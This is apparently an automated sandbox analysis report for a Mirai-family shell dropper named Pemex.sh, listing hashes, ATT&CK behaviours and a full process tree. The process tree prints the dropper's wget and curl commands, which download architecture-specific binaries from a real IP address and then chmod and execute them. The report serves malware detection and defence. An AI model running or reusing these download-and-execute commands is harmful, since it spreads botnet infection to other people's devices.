Analysis
-
max time kernel
82s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
23-12-2024 06:16
Static task
static1
Behavioral task
behavioral1
Sample
Pemex.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
Pemex.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
Pemex.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
Pemex.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
Pemex.sh
-
Size
1KB
-
MD5
e18ba04d72384ac85e6117c774f6d4f9
-
SHA1
6cb8e9a2da2db042da0875a08f43cc867b8a2c5b
-
SHA256
289876bf62e9a2a364da63cceb9a865c84792377a700afb676811ee53113919e
-
SHA512
3e69c0fdb07347f2dcd8d3b3d9514d392a572173afec60fd702180cf3f7d5d21bca67dff2cb022641c7f0a2df4b817f1589a6a1599726ddeea67ba5c768e954d
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
Contacts a large (194282) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1596 chmod 1607 chmod 1561 chmod 1574 chmod 1585 chmod 1549 chmod 1618 chmod 1505 chmod 1525 chmod 1537 chmod -
Executes dropped EXE 10 IoCs
ioc pid Process /tmp/awoo 1506 awoo /tmp/awoo 1526 awoo /tmp/awoo 1538 awoo /tmp/awoo 1550 awoo /tmp/awoo 1562 awoo /tmp/awoo 1575 awoo /tmp/awoo 1586 awoo /tmp/awoo 1597 awoo /tmp/awoo 1608 awoo /tmp/awoo 1619 awoo -
Modifies Watchdog functionality 1 TTPs 20 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/watchdog awoo File opened for modification /dev/misc/watchdog awoo File opened for modification /dev/misc/watchdog awoo -
Enumerates active TCP sockets 1 TTPs 10 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads system network configuration 1 TTPs 10 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo File opened for reading /proc/net/tcp awoo -
description ioc Process File opened for reading /proc/1179/fd awoo File opened for reading /proc/527/fd awoo File opened for reading /proc/1582/fd awoo File opened for reading /proc/1138/fd awoo File opened for reading /proc/460/fd awoo File opened for reading /proc/1194/fd awoo File opened for reading /proc/1201/fd awoo File opened for reading /proc/1194/fd awoo File opened for reading /proc/1194/fd awoo File opened for reading /proc/1583/fd awoo File opened for reading /proc/1557/fd awoo File opened for reading /proc/456/fd awoo File opened for reading /proc/1147/fd awoo File opened for reading /proc/1160/fd awoo File opened for reading /proc/1380/fd awoo File opened for reading /proc/1334/fd awoo File opened for reading /proc/1311/fd awoo File opened for reading /proc/1613/fd awoo File opened for reading /proc/1338/fd awoo File opened for reading /proc/510/fd awoo File opened for reading /proc/1476/fd awoo File opened for reading /proc/1909/exe awoo File opened for reading /proc/449/fd awoo File opened for reading /proc/277/fd awoo File opened for reading /proc/1338/fd awoo File opened for reading /proc/1580/fd awoo File opened for reading /proc/946/fd awoo File opened for reading /proc/596/fd awoo File opened for reading /proc/1194/fd awoo File opened for reading /proc/343/fd awoo File opened for reading /proc/473/fd awoo File opened for reading /proc/1065/fd awoo File opened for reading /proc/1147/fd awoo File opened for reading /proc/1/fd awoo File opened for reading /proc/449/fd awoo File opened for reading /proc/460/fd awoo File opened for reading /proc/1533/fd awoo File opened for reading /proc/249/fd awoo File opened for reading /proc/442/fd awoo File opened for reading /proc/1527/fd awoo File opened for reading /proc/640/fd awoo File opened for reading /proc/1245/fd awoo File opened for reading /proc/439/fd awoo File opened for reading /proc/683/fd awoo File opened for reading /proc/1189/fd awoo File opened for reading /proc/1051/fd awoo File opened for reading /proc/1530/fd awoo File opened for reading /proc/1491/fd awoo File opened for reading /proc/1302/fd awoo File opened for reading /proc/946/fd awoo File opened for reading /proc/1130/fd awoo File opened for reading /proc/1380/fd awoo File opened for reading /proc/428/exe awoo File opened for reading /proc/1025/fd awoo File opened for reading /proc/1499/fd awoo File opened for reading /proc/1168/fd awoo File opened for reading /proc/277/fd awoo File opened for reading /proc/486/fd awoo File opened for reading /proc/1334/fd awoo File opened for reading /proc/449/fd awoo File opened for reading /proc/665/fd awoo File opened for reading /proc/442/fd awoo File opened for reading /proc/485/fd awoo File opened for reading /proc/1563/fd awoo -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1510 wget 1516 curl -
Writes file to tmp directory 20 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/loligang.arm6 wget File opened for modification /tmp/loligang.arm7 wget File opened for modification /tmp/loligang.ppc wget File opened for modification /tmp/loligang.m68k curl File opened for modification /tmp/loligang.x86 curl File opened for modification /tmp/loligang.arm4 curl File opened for modification /tmp/loligang.mpsl curl File opened for modification /tmp/loligang.sh4 wget File opened for modification /tmp/awoo Pemex.sh File opened for modification /tmp/loligang.mips wget File opened for modification /tmp/loligang.mpsl wget File opened for modification /tmp/loligang.arm5 curl File opened for modification /tmp/loligang.arm7 curl File opened for modification /tmp/loligang.ppc curl File opened for modification /tmp/loligang.x86 wget File opened for modification /tmp/loligang.mips curl File opened for modification /tmp/loligang.m68k wget File opened for modification /tmp/loligang.sh4 curl File opened for modification /tmp/loligang.arm5 wget File opened for modification /tmp/loligang.arm6 curl
Processes
-
/tmp/Pemex.sh/tmp/Pemex.sh1⤵
- Writes file to tmp directory
PID:1497 -
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.x862⤵
- Writes file to tmp directory
PID:1498
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.x862⤵
- Writes file to tmp directory
PID:1503
-
-
/bin/catcat loligang.x862⤵PID:1504
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1505
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1506
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1510
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1516
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.mips loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1525
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1526
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.mpsl2⤵
- Writes file to tmp directory
PID:1530
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.mpsl2⤵
- Writes file to tmp directory
PID:1535
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.mips loligang.mpsl loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1537
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1538
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm42⤵PID:1542
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm42⤵
- Writes file to tmp directory
PID:1546
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.mips loligang.mpsl loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1549
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1550
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm52⤵
- Writes file to tmp directory
PID:1554
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm52⤵
- Writes file to tmp directory
PID:1559
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.mips loligang.mpsl loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1561
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1562
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm62⤵
- Writes file to tmp directory
PID:1566
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm62⤵
- Writes file to tmp directory
PID:1572
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.arm6 loligang.mips loligang.mpsl loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1574
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1575
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.arm72⤵
- Writes file to tmp directory
PID:1579
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.arm72⤵
- Writes file to tmp directory
PID:1583
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1585
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1586
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.ppc2⤵
- Writes file to tmp directory
PID:1590
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.ppc2⤵
- Writes file to tmp directory
PID:1594
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.ppc loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1596
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1597
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.m68k2⤵
- Writes file to tmp directory
PID:1601
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.m68k2⤵
- Writes file to tmp directory
PID:1605
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.m68k loligang.mips loligang.mpsl loligang.ppc loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1607
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1608
-
-
/usr/bin/wgetwget http://185.255.120.43/lmaoWTF/loligang.sh42⤵
- Writes file to tmp directory
PID:1612
-
-
/usr/bin/curlcurl -O http://185.255.120.43/lmaoWTF/loligang.sh42⤵
- Writes file to tmp directory
PID:1616
-
-
/bin/chmodchmod +x awoo config-err-WSc3G3 loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.m68k loligang.mips loligang.mpsl loligang.ppc loligang.sh4 loligang.x86 netplan_sl6cks9p Pemex.sh snap-private-tmp ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-mS7W0R2⤵
- File and Directory Permissions Modification
PID:1618
-
-
/tmp/awoo./awoo2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1619
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
64KB
MD52354f2531c0bf296738fa7733c42785f
SHA186508e4ee74c70bf226f6666bf227a12be69dcad
SHA2563d0b5252c0f8736759af8b122612395ea484794afbdeb5435769f3c164d04c93
SHA512eda30463d2e8355af4d6626815aedb78b1b5d43c4df53e4a9a72405074a22e9fd09f54e882b0c5ad5136202907a7e6e599d29d325d6e0b3188e6f8ff77abe679